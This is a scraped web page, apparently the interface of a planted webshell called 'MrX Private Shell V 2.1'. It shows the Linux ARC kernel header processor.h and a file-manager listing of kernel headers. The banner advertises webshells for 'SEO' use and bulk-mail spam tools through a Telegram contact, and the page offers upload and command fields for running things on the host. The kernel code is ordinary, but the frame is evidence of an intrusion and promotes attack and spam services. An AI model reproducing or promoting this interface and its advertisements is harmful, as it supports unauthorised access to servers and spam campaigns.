__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0-only */
/*
 * Copyright (C) 2004, 2007-2010, 2011-2012 Synopsys, Inc. (www.synopsys.com)
 *
 * vineetg: March 2009
 *  -Implemented task_pt_regs( )
 *
 * Amit Bhor, Sameer Dhavale, Ashwin Chaugule: Codito Technologies 2004
 */

#ifndef __ASM_ARC_PROCESSOR_H
#define __ASM_ARC_PROCESSOR_H

#ifndef __ASSEMBLY__

#include <asm/ptrace.h>
#include <asm/dsp.h>
#include <asm/fpu.h>

/* Arch specific stuff which needs to be saved per task.
 * However these items are not so important so as to earn a place in
 * struct thread_info
 */
struct thread_struct {
	unsigned long callee_reg;	/* pointer to callee regs */
	unsigned long fault_address;	/* dbls as brkpt holder as well */
#ifdef CONFIG_ARC_DSP_SAVE_RESTORE_REGS
	struct dsp_callee_regs dsp;
#endif
#ifdef CONFIG_ARC_FPU_SAVE_RESTORE
	struct arc_fpu fpu;
#endif
};

#define INIT_THREAD  { }

/* Forward declaration, a strange C thing */
struct task_struct;

#define task_pt_regs(p) \
	((struct pt_regs *)(THREAD_SIZE + (void *)task_stack_page(p)) - 1)

/*
 * A lot of busy-wait loops in SMP are based off of non-volatile data otherwise
 * get optimised away by gcc
 */
#define cpu_relax()		barrier()

#define KSTK_EIP(tsk)   (task_pt_regs(tsk)->ret)
#define KSTK_ESP(tsk)   (task_pt_regs(tsk)->sp)

/*
 * Where about of Task's sp, fp, blink when it was last seen in kernel mode.
 * Look in process.c for details of kernel stack layout
 */
#define TSK_K_ESP(tsk)		(task_thread_info(tsk)->ksp)

#define TSK_K_REG(tsk, off)	(*((unsigned long *)(TSK_K_ESP(tsk) + \
					sizeof(struct callee_regs) + off)))

#define TSK_K_BLINK(tsk)	TSK_K_REG(tsk, 4)
#define TSK_K_FP(tsk)		TSK_K_REG(tsk, 0)

extern void start_thread(struct pt_regs * regs, unsigned long pc,
			 unsigned long usp);

extern unsigned int __get_wchan(struct task_struct *p);

#endif /* !__ASSEMBLY__ */

/*
 * Default System Memory Map on ARC
 *
 * ---------------------------- (lower 2G, Translated) -------------------------
 * 0x0000_0000		0x5FFF_FFFF	(user vaddr: TASK_SIZE)
 * 0x6000_0000		0x6FFF_FFFF	(reserved gutter between U/K)
 * 0x7000_0000		0x7FFF_FFFF	(kvaddr: vmalloc/modules/pkmap..)
 *
 * PAGE_OFFSET ---------------- (Upper 2G, Untranslated) -----------------------
 * 0x8000_0000		0xBFFF_FFFF	(kernel direct mapped)
 * 0xC000_0000		0xFFFF_FFFF	(peripheral uncached space)
 * -----------------------------------------------------------------------------
 */

#define TASK_SIZE	0x60000000

#define VMALLOC_START	(PAGE_OFFSET - (CONFIG_ARC_KVADDR_SIZE << 20))

/* 1 PGDIR_SIZE each for fixmap/pkmap, 2 PGDIR_SIZE gutter (see asm/highmem.h) */
#define VMALLOC_SIZE	((CONFIG_ARC_KVADDR_SIZE << 20) - PMD_SIZE * 4)

#define VMALLOC_END	(VMALLOC_START + VMALLOC_SIZE)

#define USER_KERNEL_GUTTER    (VMALLOC_START - TASK_SIZE)

#define STACK_TOP       TASK_SIZE
#define STACK_TOP_MAX   STACK_TOP

/* This decides where the kernel will search for a free chunk of vm
 * space during mmap's.
 */
#define TASK_UNMAPPED_BASE      (TASK_SIZE / 3)

#endif /* __ASM_ARC_PROCESSOR_H */

Filemanager

Name Type Size Permission Actions
Kbuild File 215 B 0644
arcregs.h File 9.44 KB 0644
asm-offsets.h File 165 B 0644
asserts.h File 958 B 0644
atomic-llsc.h File 2.71 KB 0644
atomic-spinlock.h File 2.88 KB 0644
atomic.h File 658 B 0644
atomic64-arcv2.h File 5.57 KB 0644
barrier.h File 1.34 KB 0644
bitops.h File 3.69 KB 0644
bug.h File 819 B 0644
cache.h File 3.52 KB 0644
cacheflush.h File 2.38 KB 0644
cachetype.h File 185 B 0644
checksum.h File 2.32 KB 0644
cmpxchg.h File 3.24 KB 0644
current.h File 548 B 0644
delay.h File 1.85 KB 0644
disasm.h File 3.72 KB 0644
dma.h File 218 B 0644
dsp-impl.h File 3.77 KB 0644
dsp.h File 796 B 0644
dwarf.h File 1.04 KB 0644
elf.h File 1.89 KB 0644
entry-arcv2.h File 7.71 KB 0644
entry-compact.h File 9.45 KB 0644
entry.h File 4.42 KB 0644
exec.h File 264 B 0644
fpu.h File 1.1 KB 0644
futex.h File 3.53 KB 0644
highmem.h File 1.39 KB 0644
hugepage.h File 2.14 KB 0644
io.h File 5.97 KB 0644
irq.h File 737 B 0644
irqflags-arcv2.h File 3.41 KB 0644
irqflags-compact.h File 4.31 KB 0644
irqflags.h File 363 B 0644
jump_label.h File 1.91 KB 0644
kdebug.h File 254 B 0644
kgdb.h File 1.21 KB 0644
kprobes.h File 1.06 KB 0644
linkage.h File 1.45 KB 0644
mach_desc.h File 1.9 KB 0644
mmu-arcv2.h File 2.46 KB 0644
mmu.h File 486 B 0644
mmu_context.h File 5.44 KB 0644
module.h File 428 B 0644
page.h File 3.22 KB 0644
pci.h File 360 B 0644
perf_event.h File 2 KB 0644
pgalloc.h File 2.68 KB 0644
pgtable-bits-arcv2.h File 4.79 KB 0644
pgtable-levels.h File 5.44 KB 0644
pgtable.h File 780 B 0644
processor.h File 2.96 KB 0644
ptrace.h File 4.39 KB 0644
sections.h File 261 B 0644
serial.h File 498 B 0644
setup.h File 1.21 KB 0644
shmparam.h File 297 B 0644
smp.h File 3.82 KB 0644
spinlock.h File 8.38 KB 0644
spinlock_types.h File 905 B 0644
stacktrace.h File 1.15 KB 0644
string.h File 1.01 KB 0644
switch_to.h File 553 B 0644
syscall.h File 1.73 KB 0644
syscalls.h File 547 B 0644
thread_info.h File 3.35 KB 0644
timex.h File 362 B 0644
tlb.h File 262 B 0644
tlbflush.h File 1.62 KB 0644
uaccess.h File 15.54 KB 0644
unistd.h File 305 B 0644
unwind.h File 3.37 KB 0644
vermagic.h File 157 B 0644
vmalloc.h File 87 B 0644
Filemanager